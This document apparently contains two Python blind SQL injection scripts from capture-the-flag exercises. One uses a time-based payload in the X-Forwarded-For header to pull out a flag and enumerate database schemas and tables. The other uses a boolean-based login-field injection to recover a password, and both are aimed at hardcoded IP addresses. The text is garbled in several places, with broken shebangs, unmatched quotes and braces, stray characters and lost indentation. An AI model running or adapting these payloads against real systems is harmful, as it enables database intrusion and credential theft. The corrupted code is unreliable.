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#lusr/bin/python
# -*- coding: utf-8 -*-
import string
import requests
string=string.ascii_letters+string.digits
url="http://120.24.86.145:8002/web15/"
playload=""'+(select case when (substring((select flag from flag) from {0} for 1)='{1}') then sleep(5) else
flag=""
for i in range(1,35):
for j in string:
try:
headers = {'x-forwarded-for': playload.format(str(i),j)}
res = requests.get(url,headers=headers, timeout=3)
except requests.exceptions.ReadTimeout: #FEHrequests.exceptions.ReadTimeout
flag +=j
print flag
break
print "The final flag: "+flag

& Japlayload: '+(select case when (substring((select flag from flag) from {0} for 1}={1}") then sleep(5) else 1
end) and '1"

1% FEplayload: '+(select case when (substring((select schema_name from information_schema.SCHEMATA
limit 1

offset %d) from {0} for 1}='{1}') then sleep(5) else 1 end) and 1"

&R playload: '+(select case when (select count(table_name) from information_schema.TABLES ) ='%d' then
sleep(5) else 1 end) and '"1'="1"
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#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
url = '"http://47.93.190.246:49167/index.php"
r = requests.Session()
result = "'
for i in range(1,33):
for j in range(37,127):
payload = "adminl'~(ascii(mid((password)from({0})))>{1})#".format(str(i),str(j))
print payload
data = {"username":payload, "password":"asd"}
html = r.post(url,data=data)
if "password error!" in html.content:
result += chr(j)
print result
break
print result
#http://118.89.219.210:49167/
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